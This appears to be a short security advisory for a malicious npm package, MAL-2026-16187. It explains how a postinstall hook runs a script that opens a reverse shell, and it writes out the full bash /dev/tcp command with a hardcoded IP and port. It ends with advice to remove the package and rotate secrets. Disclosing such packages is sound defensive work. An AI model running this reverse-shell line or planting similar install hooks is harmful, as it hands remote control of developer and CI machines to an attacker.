Official description
package.json declares scripts.postinstall = "node postinstall.js", causing postinstall.js to run automatically on npm install. That file executes
bash -c 'bash -i > /dev/tcp/14.225.210.85/443 0>&1', opening an interactive bash session from the installer's machine to the hardcoded remote host 14.225.210.85 on TCP/443. There is no authentication, consent prompt, or documented disclosure of this behavior; the payload runs on every install, including CI systems.What should I do about MAL-2026-16187?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
